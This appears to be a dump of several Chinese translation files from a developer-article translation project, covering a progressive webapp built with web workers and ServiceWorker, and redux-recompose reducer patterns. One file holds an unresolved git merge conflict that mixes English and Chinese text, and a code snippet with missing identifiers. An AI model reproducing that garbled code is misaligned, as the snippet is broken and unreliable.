播客,全世界许多优秀的设计师都在那里分享他们创造设计系统和风格指南的经验。 如果你想从整体上讨论设计系统或者想要更多地了解它们,不要错过 2016年3月31日到4月1日在旧金山举行的 [Clarity Conference](http://clarityconf.com/) (由设计系统女王自己组织: [jina ₍˄ุ.͡˳̫.˄ุ₎](https://medium.com/u/f5d1807b438)). ================================================ FILE: TODO/introducing-pokedex-org/introducing-pokedex-org.md ================================================ > * 原文链接 : [Introducing Pokedex.org: a progressive webapp for Pokémon fans — Pocket JavaScript](http://www.pocketjavascript.com/blog/2015/11/23/introducing-pokedex-org) * 原文作者 : [NOLAN LAWSON](http://www.pocketjavascript.com/?author=539b3a09e4b0dc27b9618c7a) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : RobertWang * 校对者: [达仔(*/ω\*)](https://github.com/Zhangjd) * 状态 : 待定 众所周知,移动网络背负着速度慢的坏名声,但在如何修复的问题上并不缺少不同的意见。 近日,Jeff Atwood 令人信服地论证了[单线程的 JavaScript 在 Android 设备上的状态表现差](https://meta.discourse.org/t/the-state-of-javascript-on-android-in-2015-is-poor/33889)。然后 Henrik Joreteg 也质疑[JavaScript框架的在移动端生存能力](https://joreteg.com/blog/viability-of-js-frameworks-on-mobile),他说对于在移动网络上运行像 Ember 和 Angular (这样的)框架太过臃肿。(为了后续良好的讨论,请参见这些文章[框架的代价](https://aerotwist.com/blog/the-cost-of-frameworks/), [js框架与移动性能](http://tomdale.net/2015/11/javascript-frameworks-and-mobile-performance/)) 观点陈述:Atwood 说问题是单线程; Joreteg 说,问题是移动网络。我认为他们都是对的。就像做 Android 开发与做 web 开发差不多,我可以直接告诉你,在我开发一套高性能的原生应用时,最关心的就是网络和并发能力。 问任何 iOS 或 Android 开发者,怎样使我们的应用更快,你极有可能听到以下两个主要的策略: 1. **禁用网络调用** 即使是在较好的 `3G` 或 `4G` 连接状态下,活跃的网络活动将严重损耗移动应用的性能。让用户盯着加载进度并不是良好的用户体验。 2. **使用后台线程** 要产生 60FPS 的流畅感,你在主线程上的操作必须少于 16ms。任何与 UI(用户界面) 不相关的工作都将转交给一个后台线程去完成。 I believe the web is as capable of solving these problems as native apps, but most web developers just aren't aware that the tools are out there. For the network and concurrency problems, the web has two very good answers: 我认为 web 完全可以像原生应用一样解决这些问题,只是大多数 Web 开发者并不知道这些工具就在那儿。对于网络和并发的问题,web 有两个非常好的办法: * [离线优先](http://offlinefirst.org/)(比如选用[IndexedDB](http://w3c.github.io/IndexedDB/)和[ServiceWorkers](https://ponyfoo.com/articles/serviceworker-revolution)) * [Web workers](http://www.html5rocks.com/en/tutorials/workers/basics/) <<<<<<< HEAD 我决定将这些想法放在一起,构建一个像native app一样引人注目的,有丰富交互体验的 webapp,但它 “仅仅” 是一个网站。依据 Chrome 小组的准则,我构建了 [Pokedex.org](http://pokedex.org) - 这是一个离线工作的[先进的网页应用(progressive webapp)](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/),它可以从主屏幕启动,甚至在普通的 Android 手机上运行在 60FPS。这篇博客文章就来介绍是我如何做的。 ======= * [Offline-first](http://offlinefirst.org/) (e.g. [IndexedDB](http://w3c.github.io/IndexedDB/) and [ServiceWorkers](https://ponyfoo.com/articles/serviceworker-revolution)) * [Web workers](http://www.html5rocks.com/en/tutorials/workers/basics/) I decided to put these ideas together and build a webapp with a rich, interactive experience that's every bit as compelling as a native app, but is also "just" a web site. Following guidelines from the Chrome team, I built [Pokedex.org](http://pokedex.org/) – a [progressive webapp](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/) that works offline, can be launched from the home screen, and runs at 60 FPS even on mediocre Android phones. This blog post explains how I did it. >>>>>>> 06ed450db073609c8c52de344a6823bb5efb695b ## 口袋妖怪 - 一个雄心勃勃的目标 对于那些不知道口袋妖怪世界的人,口袋妖怪图鉴是一本包含数以百计的可爱的小生物,以及他们的属性、类型、进化和移动信息的百科全书。按照一个儿童游戏的规则,这将是信息量大得惊人(若你想烧脑,可以更深入地研究[成就值](http://bulbapedia.bulbagarden.net/wiki/Effort_values)参数)。所以,这将是一个雄心勃勃的Web应用程序的理想选择。 ![](introducing-pokedex-org/DeliriousNeedyAnophelesmosquito.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/DeliriousNeedyAnophelesmosquito.mp4) 或 第一个问题是获取数据,这个很容易,多亏了精彩的[Pokéapi](http://pokeapi.co/)。第二个问题是,如果我们希望应用程序脱机工作,数据库过于庞大,不能保持在内存中,所以我们需要巧妙地使用使用 IndexedDB 和/或 ServiceWorker。 这个程序,我决定使用[PouchDB](http://pouchdb.com/)保存口袋妖怪数据(因为它擅长同步),同时使用[LocalForage](https://github.com/mozilla/localForage)作为应用的状态数据存储(因为它有一个很好的键值API(key-value API))。 PouchDB 和 LocalForage 都在 web worker 中使用 IndexedDB,这意味着任何数据库操作者将是[完全无阻塞](http://nolanlawson.com/2015/09/29/indexeddb-websql-localstorage-what-blocks-the-dom/)。 然而,事实是在第一次加载网站时口袋妖怪数据并是不能马上可用的,因为它需要一段时间从服务器同步数据。为此,我还使用了回退策略“优先本地,再远端”: ![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/56437650e4b08c803b7dcf42/1447261785905/?format=1500w) 在网站第一次加载时,PouchDB开始从远端数据库同步,我在项目中使用的是[Cloudant](http://cloudant.com/)(一个CouchDB即服务的提供者)。由于 `PouchDB` 具有本地和远程两套API,可以很容易地从本地数据库查询,如果查询失败才去远程数据库查询: ``` async function getById() { { return await localDB.(); } catch () { return await remoteDB.(); } } ``` (没错,我决定在这个应用中使用[ES7 async/await](http://pouchdb.com/2015/03/05/taming-the-async-beast-with-es7.html)机制,使用[Regenerator](https://github.com/facebook/regenerator)和[Babel](http://babeljs.io/),通过最小化/gzip压缩构建后的大小增加了不到 4KB ,方便了开发者,所以这样做还是非常值得的。) 所以当该网站第一次加载,这是一个相当标准的 AJAX 应用,使用 Cloudant 获取和显示数据。一旦同步完成(在较好的连接状态下只需要几秒钟),所有交互将成为纯粹的本地访问,这京意味着应用可以运行的更快,而且还能脱机工作。这是实现应用“先进的”体验的途径之一。 ## 我喜欢你的工作方式 我还在这个应用中大量引入[web worker](http://www.html5rocks.com/en/tutorials/workers/basics/)。一个 web worker 的本质是一个后台线程,你可以访问除了 DOM 之外,浏览器中几乎所有的 API,在 worker 内部执行的事情并不会阻塞 UI,这是有益处的。 从[web worker](http://www.html5rocks.com/en/tutorials/workers/basics/) [文献](http://ejohn.org/blog/web-workers/)了解 web worker,可能你误以为 web worker 作用仅仅是有限的校验、解析和其他费时的计算任务。然而,事实上 Angular 2 正计划一种架构,[让 web worker 几乎存活在整个应用生命周期](https://docs.google.com/document/d/1M9FmT05Q6qpsjgvH1XvCm840yn2eWEg0PMskSQz7k4E),这在个理论上能够提高并行并减少 jank,特别是在移动端。类似技术 [Flux](https://medium.com/@nsisodiya/flux-inside-web-workers-cc51fb463882#.ooz0ho5si) 和 [Ember](http://blog.runspired.com/2015/06/05/using-webworkers-to-bring-native-app-best-practices-to-javascript-spas/) 也在探索,尽管现在还没有实质结果。 > 这样做是为了整个应用应该运行在[一个 web worker]中,并将渲染指令发送给 UI 端。 — Brian Ford, Angular 核心开发者 ([来源](https://twitter.com/briantford/status/649332944478171136)) 因为我喜欢生活在最前沿,我决定对 Angular 2 的概念进行一个测试,并几乎将整个应用程序运行在内部的 web worker 上,将 UI 线程的责任限制在渲染和动画方面。从理论上讲,这应该最大限度地提高并行能力并榨取多核智能手机的所有价值,解决 Atwood 关于单线程的 JavaScript 性能问题。 我仿效 React/Flux 对应用架构,但在这个案例中,我使用的是较低级别的[虚拟DOM(virtual-dom)](https://github.com/Matt-Esch/virtual-dom),还有一些我写的辅助库,[vdom-as-json](https://github.com/nolanlawson/vdom-as-json)和[vdom-serialized-patch](https://github.com/nolanlawson/vdom-serialized-patch),它可以将 DOM 以补丁的形式序列化为 JSON,使这些补丁可以从 web worker 发送到主线程。基于[与 IndexedDB 规范的作者 Joshua Bell 咨询](https://code.google.com/p/chromium/issues/detail?id=536620#c11)的建议,与 worker 通讯过程的中我用的也是 JSON 字符串。 该应用程序的结构如下所示: ![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/5643750fe4b0b66656c229f2/1447261866614/?format=1500w) 需要注意的是,整个 “Flux” 的应用可以在 web worker 里面,同样还有“渲染”、“差异”和一部分“渲染/差异/补丁”管道,因为这些操作都没有依赖 DOM。唯一需要在 UI 线程上做的事情就是补丁,也就是要使用的 DOM 指令最小集合。而且,由于此补丁操作(通常)较少,序列化的成本可以忽略不计。 为了说明这一点,这里有一个从 Chrome 探查记录中得到的时间表,使用的是 Nexus5 Android5.1.1 上运行的 Chrome47。时间线从用户点击一个口袋妖怪列表中的那一刻开始,也就是当“详情”面板的被打上补丁,然后向上滑动进入到视图中: ![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/564fc693e4b0328b44c0d443/1448068755659/?format=2500w) (应用 patch 和计算 FLIP 动画之间的延迟是有意而为的,目的是为了播放“波动”的动画。) 需要重点注意的一点是,UI 线程在用户监听与应用补丁之间都是完非阻塞的。此外,补丁在(`JSON.parse()`)反序列化时也是微不足道的;它甚至不时间轴上记录。我测量了单次请求 `worker` 自身的开销,通常在5-15ms范围(虽然它最高峰偶尔高达200毫秒)。 现在让我们看看去掉 worker ,并把这些业务放回到 UI 线程上会是什么样子: ![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/564fc6aae4b0328b44c0d4c3/1448068779271/?format=1500w) 哇耐莉,有很多的操作发生在 UI 线程上!除了 IndexedDB 引入了一些轻微的 DOM 阻塞,同样还有渲染/差异对比的操作,明显比使用补丁代价更高。 您还会注意到,这两个版本大约需要相同的时间(300-400ms),但前者比后者阻塞 UI 线程的更少。在我的例子中,我使用 GPU 加速的 CSS 动画,所以你不会注意到两种方式太大的差别。但你可以设想下,在一个更复杂的应用中,可能有很多 JavaScript 逻辑同时抢着占用 UI 线程(比如,第三方广告、滚动效果等等)这个技巧就意味着UI卡顿和平滑的区别了。 ## 先进的渲染 虚拟的DOM的另一个好处是,我们可以在服务器端预先渲染应用的初始状态。我使用[vdom-to-html](https://github.com/nthtran/vdom-to-html/)渲染排在前面的30个口袋妖怪,把 HTML 直接内嵌到页面中。 (把HTML内嵌到我们的HTML中!是怎样一个概念。)虚拟 DOM 在客户端重新合成,它和使用[vdom-as-json](https://github.com/nolanlawson/vdom-as-json)建立初始的虚拟DOM状态一样简单。 ![Pokedex.org with JavaScript disabled.](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/5651f0d3e4b0a376ef814bfa/1448210644766/?format=1500w) 禁用JavaScript的Pokedex.org效果。 同样,我也内嵌了最关键的 CSS 和 JavaScript,非关键的 CSS 的异步加载得益于[pretty nifty hack](http://stackoverflow.com/a/32614409/680742)。在[pouchdb-load](https://github.com/nolanlawson/pouchdb-load)插件也被充分利用于更快的初始复制。 关于托管,我只是把静态文件放在[Amazon S3](https://aws.amazon.com/s3/)上,使用[Cloudflare](https://www.cloudflare.com/)提供的SSL。 (ServiceWorkers需要SSL。)Gzip、缓存头和 SPDY 都是 CloudFlare 自动处理的。 在 Chrome 的开发工具使用 2G 网络的节流中测试,站点设法在 5 秒钟内得到 DOMContentLoaded,首次绘制大约用 2 秒钟完成。这意味着在 JavaScript 是被加载的同时,用户至少能看到_一部分内容_,这大大地改善网站感观上的性能。 “在 web worker 中执行一切”的做法也有助于用渐进式渲染,因为大多数与 UI 相关的 JavaScript(点击动画,侧边菜单的行为等),可以在一个小的 JavaScript 的初始包进行加载,反之,而更大的“框架”包只在 web worker 启动时加载。在我的案例中,用户界面包体积在压缩后有 24KB,而 worker 包是 90KB。这意味着,在整个“框架”下载的时候,在网页上至少有一些小的 UI 不断地丰富起来。 当然了,ServiceWorker 也存储所有静态的“应用外壳”(资源) - HTML,CSS,JavaScript和图像。我使用的是 先本地后远程 策略,以确保最佳的离线体验,代码主要是从 Jake's Archibald 优美的[SVGOMG](https://github.com/jakearchibald/svgomg)中借来的(当然,其实是偷来的)代码。就像 SVGOMG 那样,应用也会弹出一个 toast 消息,提示用户app工作在离线状态,以消除用户疑虑。(这是新的技术,用户需要了解一下吧!) ![](introducing-pokedex-org/offline-pokedex.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/offline-pokedex.mp4) 或 归功于 ServiceWorker,后续的页面加载完全不会受到网络限制。因此首次访问后,整个站点完全本地化了,这意味着页面可以在一秒钟不到以内渲染出来。(根据设备速度,可能会比这稍慢。) ## 动画 因为我的目标是让应用跑在 60FPS 上,甚至是低端机,为此我选择了 Paul Lewis 著名的[FLIP 技术](https://aerotwist.com/blog/flip-your-animations/)处理动态的动画,只使用硬件加速的 CSS 属性(即 transform 和 opacity)。结果是这样美丽[material design](https://www.google.com/design/spec/material-design/introduction.html)风格的动画,它运行得很好,甚至在我早期的 Galaxy Nexus 的手机上: ![](introducing-pokedex-org/SlimySelfishHermitcrab.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/SlimySelfishHermitcrab.mp4) 或 关于 FLIP 动画最好的部分是,结合了 JavaScript 的灵活性和 CSS 动画的性能。因此,尽管口袋妖怪的初始状态是不预先确定,我们的动画依然可以从列表的任意位置变换到某个详细视图的固定位置,我们也可以并行运行许多动画 - 注意到该背景填充,子画面的运动,并且面板滑动三个独立的动画。 我与 Lewis 的 FLIP 算法唯一不同,也仅仅是稍微不同,是口袋妖怪的动画。因为原图和目标图的位置摆放都不利于动画实现,为此我不得不创建第三个精灵,绝对定位在身体内,在两者之间过渡时作为幌子。 ## 技巧 当然,如果你没有密切注视 Chrome 分析工具,并时常用真机检验你的假设,任何 webapp 都可能会变慢。一些我碰到的问题: 1. CSS sprites 能很好的减少负荷大小,但他们由于过多的内存使用拖慢应用。我最终选择使用内联Base64。 2. 我需要一个高性能的滚动列表,而我从[Ionic collection-repeat](http://ionicframework.com/blog/collection-repeat/),[Ember list-view](https://github.com/emberjs/list-view)和[Android ListView](https://developer.android.com/guide/topics/ui/layout/listview.html)获得了一些灵感,构建一个简单的 `
        ` 那_仅仅_是用来呈现并保存这些 `
      • ` 的可见视图。这样减少了内存的使用,让动画和触摸交互更加迅捷。再一个,所有列表的计算和差异都是在 `web worker` 内部完成,所以滚动效果能保持流畅。这一点也适用于将多达 649 个口袋妖怪一次显示。 3. 仔细地选择你你用的库!我使用[MUI](http://muicss.com/)作为我的“素材” CSS 库,这是在非常棒的引导,但可悲的是我发现它基本没有做性能优化。所以,最后我不得不自己重构了部分代码。例如,侧面菜单最初是使用 `margin-left` 而不是 `transform`,从而导致[在移动设备上的难伺候的动画(janky animations on mobile)](https://youtu.be/Q-nxiBNxCA4)。 4. 事件监听器是一种威胁。MUI 一度给每个 `
      • ` 标签添加事件监听(为了"水波纹"效果),尽管使用了硬件加速 CSS 动画,但还是因为内存占用问题导致速度变慢。幸运的是,Chrome 浏览器开发工具中有一个“显示滚动优先的问题(Show scrolling perf issues)”复选框,立即就发现了问题: ![](http://static1.squarespace.com/static/54d00072e4b0c38f7e184ee0/t/56437d45e4b07a45a8692ee2/1447263577485/?format=1500w) 作为这个问题的一个变通方案,我把一个事件监听绑定到整个 `
          ` 上,`
            ` 负责展现每个 `
          • ` 标签的水波纹动画(事件委托)。 ## 浏览器支持 事实证明,很多我上面提到的 API 不能完美地支持所有浏览器。最值得注意的是,在 Safari、iOS、IE 或 Edge 中 ServiceWorker 是不可用的。 (Firefox很快将在 nightly 版本中交付。)这意味着离线功能将不会在这些浏览器上正常工作 - 如果你没有连接的情况下刷新了页面,内容将不存在了。 我遇到的另一个障碍是[Safari不支持在 web worker 中 使用 IndexedDB (Safari does not support IndexedDB in a web worker)](https://bugs.webkit.org/show_bug.cgi?id=149953),这意味着我不得不写一个解决办法,以避免 web worker 在Safari,只是使用通过 WebSQL 来使用 PouchDB/LocalForage。 Safari 也还是有 350 毫秒延迟,我选择不去[修复快速点击(FastClick hack)](https://github.com/ftlabs/fastclick) 的问题,因为我知道,Safari 将在[即将发布的版本(an upcoming release)](https://twitter.com/jaffathecake/status/659174357583814656)中进行修复。动量滚动,也破坏了iOS的体验,原因我暂时还不知道。(**更新:**[貌似](https://github.com/nolanlawson/pokedex.org/issues/4)需要 `-webkit-overflow-scroll: touch`) 出乎意料的是,Edge 和 FirefoxOS 都可以正常工作(除了 ServiceWorker)。FirefoxOS 甚至有状态栏的主题颜色,而且很整齐。我还没有在 Windows Phone 上测试过。 当然了,如果修复这些兼容性问题,我还有成千上万的工作要做 - [苹果触摸Icons(Apple touch icons)](https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html)而不是[Web Manifests](http://www.w3.org/TR/appmanifest/),[AppCache](http://alistapart.com/article/application-cache-is-a-douchebag),而不是 ServiceWorker ,FastClick,等等。尽管如此,我对这个应用设定的目标是对那些非标准兼容的浏览器_逐渐降级_提高体验质量。对于支持 ServiceWorker 的浏览器,该应用是一个丰富的,高品质的离线应用。而在其他的浏览器,它只是一个网站。 对我而言,这些都没什么关系。我坚信,如果我们期望浏览器厂商有动力来提高他们的实现,那web开发者需要在这些事情上做出推动。引用 WebKit 开发者 Dean Jackson 的话,他们没有优先考虑 IndexedDB 的原因之一是他们觉得[它看上去并没什么用("don't see much use.")](https://twitter.com/grorgwork/status/610905347306328065)。换句话说,假如有很多优秀的网站使用了 IndexedDB ,那么 WebKit 也将推动实现它。但开发者们没有广泛参与使用这些新特性,所以浏览器厂商也没有投入太多支持了。 如果我们只使用那些支持 IE8 的特性,那我们就只能逼着自己生活中 IE8 世界中了。这个 app 就是对那种心态的一个抗议。 ## 待做的事情 对这个应用而言,仍然还有许多有待改进。我来说有一些悬而未决的问题,特别是涉及 ServiceWorker: 1. **如何处理路由?** 比如我用“正确”的方式使用 HTML5 History API(而不是哈希的URL),这是否意味着我在在服务器端、客户端_以及_ ServiceWorker 中重复我的路由逻辑?似乎需要这样。 2.**如何更新ServiceWorker?** 我将各版本的数据都存储在 ServiceWorker 缓存中,但我不知道如何为现有用户清理陈旧数据。目前,他们需要刷新页面或重新启动他们的浏览器使 ServiceWorker 更新,尽管我不想如此,但又只能这样。 3. **如何控制该应用的横幅?** Chrome浏览器会显示一个“安装到主屏幕”的横幅,如果你在同一个星期访问该网站的两倍(从某种启发算法),但我真的很喜欢这种方式[Flipkart精简版(Flipkart Lite)](http://flipkart.com/)捕获的横幅事件,使他们可以启动它自己。这样体验感觉才更加合理。 ![](introducing-pokedex-org/pokedex-install-banner.gif) [查看原文视频](http://nolanlawson.s3.amazonaws.com/vid/pokedex-install-banner.mp4) 或 ## 结论 在移动端上 web 也很迅速地追赶上来,当然,也总有需要改进的。就像每一个好的口袋妖怪,我希望 Pokedex.org 会越来越完善,[比起任何 app 都要棒(like no app ever was)](https://www.youtube.com/watch?v=DqXlSwBIHFc) 所以我鼓励大家都可以看一看[在 Github 上的源码](https://github.com/nolanlawson/pokedex.org/),并告诉我在哪里可以得到改善。就现在而言,我觉得 Pokedex.org 是一个华丽的、沉浸式的移动应用,另外它也是量身订做的网页。我希望它可以演示 2015 年的 web 能提供的一些伟大的特性,同时也为口袋妖怪的忠实粉丝们提供了宝贵的资源。 _感谢 `Jacob Angel` 为这个博文草稿提供的反馈建议_ _想了解 Pokedex.org 背后更多技术,可查看[我的“先进的Web应用”阅读列表](https://gist.github.com/nolanlawson/d9e66349635452a95bb1)._ ================================================ FILE: TODO/introducing-redux-recompose.md ================================================ > * 原文地址:[Introducing redux-recompose: Tools to ease Redux actions and reducers development](https://medium.com/wolox-driving-innovation/932e746b0198) > * 原文作者:[Manuel V Battan](https://medium.com/@manuelvbattan?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/introducing-redux-recompose.md](https://github.com/xitu/gold-miner/blob/master/TODO/introducing-redux-recompose.md) > * 译者:[pot-code](https://github.com/pot-code) > * 校对者:[congFly](https://github.com/congFly)、[FateZeros](https://github.com/FateZeros) # redux-recompose 介绍:优雅的编写 Redux 中的 action 和 reducer ![](https://cdn-images-1.medium.com/max/2000/1*YFWtliBac9cTpe5gKKMixQ.png) 去年一年做了不少 React 和 React Native 项目的开发,而且这些项目都使用了 Redux 来管理组件状态 。碰巧,这些项目里有很多具有代表性的开发模式,所以趁着我还在 Wolox,在分析、总结了这些模式之后,开发出了 [redux-recompose](https://github.com/Wolox/redux-recompose),算是对这些模式的抽象和提升。 * * * ### 痛点所在 在 Wolox 培训的那段时间,为了学 redux 看了 [Dan Abramov’s 在 Egghead 上发布的 Redux 教程](https://egghead.io/courses/getting-started-with-redux),发现他大量使用了 `switch` 语句:我闻到了点 __坏代码的味道__。 在我接手的第一个 React Native 项目中,开始的时候我还是按照教程上讲的,使用 `switch` 编写 reducer。但不久后就发现,这种写法实在难以维护: ```javascript import { actions } from './actions'; const initialState = { matches: [], matchesLoading: false, matchesError: null, pitches: [], pitchesLoading: false, pitchesError: null }; /* eslint-disable complexity */ function reducer(state = initialState, action) { switch (action.type) { case actions.GET_MATCHES: { return { ...state, matchesLoading: true }; } case actions.GET_MATCHES_SUCCESS: { return { ...state, matchesLoading: false, matchesError: null, matches: action.payload }; } case actions.GET_MATCHES_FAILURE: { return { ...state, matchesLoading: false, matchesError: action.payload }; } case actions.GET_PITCHES: { return { ...state, pitchesLoading: true }; } case actions.GET_PITCHES_SUCCESS: { return { ...state, pitches: action.payload, pitchesLoading: false, pitchesError: null }; } case actions.GET_PITCHES_FAILURE: { return { ...state, pitchesLoading: false, pitchesError: null }; } } } /* eslint-enable complexity */ export default reducer; ``` 到后面 reducer 里的条件实在是太多了,索性就把 eslint 的复杂度检测关掉了。 另一个问题集中在异步调用上,action 的定义中大量充斥着 __SUCCESS__ 和 __FAILURE__ 这样的代码,虽然这可能也不是什么问题,但是还是引入了太多重复代码。 ```javascript import SoccerService from '../services/SoccerService'; export const actions = createTypes([ 'GET_MATCHES', 'GET_MATCHES_SUCCESS', 'GET_MATCHES_FAILURE', 'GET_PITCHES', 'GET_PITCHES_SUCCESS', 'GET_PITCHES_FAILURE' ], '@SOCCER'); const privateActionCreators = { getMatchesSuccess: matches => ({ type: actions.GET_MATCHES_SUCCESS, payload: matches }), getMatchesError: error => ({ type: actions.GET_MATCHES_ERROR, payload: error }), getPitchesSuccess: pitches => ({ type: actions.GET_PITCHES_SUCCESS, payload: pitches }), getPitchesFailure: error => ({ type: actions.GET_PITCHES_FAILURE, payload: error }) }; const actionCreators = { getMatches: () => async dispatch => { // 将 loading 状态置为 true dispatch({ type: actions.GET_MATCHES }); // -> api.get('/matches'); const response = await SoccerService.getMatches(); if (response.ok) { // 存储 matches 数组数据,将 loading 状态置为 false dispatch(privateActionCreators.getMatchesSuccess(response.data)); } else { // 存储错误信息,将 loading 状态置为 false dispatch(privateActionCreators.getMatchesFailure(response.problem)); } }, getPitches: clubId => async dispatch => { dispatch({ type: actions.GET_PITCHES }); const response = await SoccerService.getPitches({ club_id: clubId }); if (response.ok) { dispatch(privateActionCreators.getPitchesSuccess(response.data)); } else { dispatch(privateActionCreators.getPitchesFailure(response.problem)); } } }; export default actionCreators; ``` ### 对象即过程 某天,我的同事建议: ’要不试试把 `switch` 语句改成访问对象属性的形式?这样之前 `switch` 的条件就都能抽离成单个的函数了,也方便测试。‘ 再者,[Dan Abramov 也说过](https://github.com/reactjs/redux/issues/929#issuecomment-150314197): __Reducer 就是一个很普通的函数,你可以抽出一些代码独立成函数,也可以在里面调用其他的函数,具体实现可以自由发挥。__ 有了这句话我们也就放心开干了,于是开始探索有没有更加优雅的方式编写 reducer 的代码。最终,我们得出了这么一种写法: ```javascript const reducerDescription = { [actions.GET_MATCHES]: (state, action) => ({ ...state, matchesLoading: true }), [actions.GET_MATCHES_SUCCESS]: (state, action) => ({ ...state, matchesLoading: false, matchesError: null, matches: action.payload }), [actions.GET_MATCHES_FAILURE]: (state, action) => ({ ...state, matchesLoading: false, matchesError: action.payload }), [actions.GET_PITCHES]: (state, action) => ({ ...state, pitchesLoading: true }), [actions.GET_PITCHES_SUCCESS]: (state, action) => ({ ...state, pitchesLoading: false, pitchesError: null, pitches: action.payload }), [actions.GET_PITCHES_FAILURE]: (state, action) => ({ ...state, pitchesLoading: false, pitchesError: action.payload }) }; ``` ```javascript function createReducer(initialState, reducerObject) { return (state = initialState, action) => { (reducerObject[action.type] && reducerObject[action.type](state, action)) || state; }; } export default createReducer(initialState, reducerDescription); ``` __SUCCESS__ 和 __FAILURE__ 的 action 和之前看来没啥区别,只是 action 的用法变了 —— 这里将 action 和操作它对应的 state 里的那部分数据的函数进行了一一对应。例如,我们分发了一个 action.aList 来修改一个列表的内容,那么‘aList’就是找到对应的 reducer 函数的关键词。 ### 靶向化 action 有了上面的尝试,我们不妨更进一步思考:何不站在 action 的角度来定义 state 的哪些部分会被这个 action 影响? [ Dan 这么说过:](https://github.com/reactjs/redux/issues/1167#issuecomment-166642708) __我们可以把 action 想象成一个“差使”,action 不关心 state 的变化 —— 那是 reducer 的事__。 那么,为什么就不能反其道而行之呢,如果 action 就是要去管 state 的变化呢?有了这种想法,我们就能引申出 __靶向化 action__ 的概念了。何谓靶向化 action?就像这样: ```javascript const privateActionCreators = { getMatchesSuccess: matchList => ({ type: actions.GET_MATCHES_SUCCESS, payload: matchList, target: 'matches' }), getMatchesError: error => ({ type: actions.GET_MATCHES_ERROR, payload: error, target: 'matches' }), getPitchesSuccess: pitchList => ({ type: actions.GET_PITCHES_SUCCESS, payload: pitchList, target: 'pitches' }), getPitchesFailure: error => ({ type: actions.GET_PITCHES_FAILURE, payload: error, target: 'pitches' }) }; ``` ### effects 的概念 如果你以前用过 [redux saga](https://github.com/redux-saga/redux-saga) 的话,应该对 effects 有点印象,但这里要讲的还不是这个 effects 的意思。 这里讲的是将 reducer 和 reducer 对 state 的操作进行解耦合,而这些抽离出来的操作(即函数)就称为 __effects__ —— 这些函数具有幂等性质,而且对 state 的变化一无所知: ```javascript export function onLoading(selector = (action, state) => true) { return (state, action) => ({ ...state, [`${action.target}Loading`]: selector(action, state) }); } export function onSuccess(selector = (action, state) => action.payload) { return (state, action) => ({ ...state, [`${action.target}Loading`]: false, [action.target]: selector(action, state), [`${action.target}Error`]: null }); } export function onFailure(selector = (action, state) => action.payload) { return (state, action) => ({ ...state, [`${action.target}Loading`]: false, [`${action.target}Error`]: selector(action, state) }); } ``` 注意上面的代码是如何使用这些 effects 的。你会发现里面有很多 selector 函数,它主要用来从封装对象中取出你需要的数据域: ```javascript // 假设 action.payload 的结构是这个样子: { matches: [] }; const reducerDescription = { // 这里只引用了 matches 数组,不用处理整个 payload 对象 [actions.GET_MATCHES_SUCCESS]: onSuccess(action => action.payload.matches) }; ``` 有了以上思想,最终处理函数的代码变成这样: ```javascript const reducerDescription = { [actions.MATCHES]: onLoading(), [actions.MATCHES_SUCCESS]: onSuccess(), [actions.MATCHES_FAILURE]: onFailure(), [actions.PITCHES]: onLoading(), [actions.PITCHES_SUCCESS]: onSuccess(), [actions.PITCHES_FAILURE]: onFailure() }; export default createReducer(initialState, reducerDescription); ``` 当然,我并不是这种写法的第一人: ![](https://i.loli.net/2017/12/26/5a41ed61266b0.jpg) 到这一步你会发现代码还是有重复的。针对每个基础 action(有配对的 SUCCESS 和 FAILURE),我们还是得写相应的 SUCCESS 和 FAILURE 的 effects。 那么,能否再做进一步改进呢? ### 你需要 Completer Completer 可以用来抽取代码中重复的逻辑。所以,用它来抽取 __SUCCESS__ 和 __FAILURE__ 的处理代码的话,代码会从: ```javascript const reducerDescription: { [actions.GET_MATCHES]: onLoading(), [actions.GET_MATCHES_SUCCESS]: onSuccess(), [actions.GET_MATCHES_FAILURE]: onFailure(), [actions.GET_PITCHES]: onLoading(), [actions.GET_PITCHES_SUCCESS]: onSuccess(), [actions.GET_PITCHES_FAILURE]: onFailure(), [actions.INCREMENT_COUNTER]: onAdd() }; export default createReducer(initialState, reducerDescription); ``` 变成以下更简洁的写法: ```javascript const reducerDescription: { primaryActions: [actions.GET_MATCHES, actions.GET_PITCHES], override: { [actions.INCREMENT_COUNTER]: onAdd() } } export default createReducer(initialState, completeReducer(reducerDescription)) ``` `completeReducer` 接受一个 reducer description 对象,它可以帮基础 action 扩展出相应的 SUCCESS 和 FAILURE 处理函数。同时,它也提供了重载机制,用于配制非基础 action 。 根据 SUCCESS 和 FAILURE 这两种情况定义状态字段也比较麻烦,对此,可以使用 `completeState` 自动为我们添加 loading 和 error 这两个字段: ```javascript const stateDescription = { matches: [], pitches: [], counter: 0 }; const initialState = completeState(stateDescription, ['counter']); ``` 还可以自动为 action 添加配对的 `SUCCESS` 和 `FAILURE`: ```javascript export const actions = createTypes( completeTypes(['GET_MATCHES', 'GET_PITCHES'], ['INCREMENT_COUNTER']), '@@SOCCER' ); ``` 这些 completer 都有第二个参数位 —— 用于配制例外的情况。 鉴于 SUCCESS-FAILURE 这种模式比较常见,目前的实现只会自动加 SUCCESS 和 FAILURE。不过,后期我们会支持用户自定义规则的,敬请期待! ### 使用注入器(Injections)处理异步操作 那么,异步 action 的支持如何呢? 当然也是支持的,多数情况下,我们写的异步 action 无非是从后端获取数据,然后整合到 store 的状态树中。 写法如下: ```javascript import SoccerService from '../services/SoccerService'; export const actions = createTypes(completeTypes['GET_MATCHES','GET_PITCHES'], '@SOCCER'); const actionCreators = { getMatches: () => createThunkAction(actions.GET_MATCHES, 'matches', SoccerService.getMatches), getPitches: clubId => createThunkAction(actions.GET_PITCHES, 'pitches', 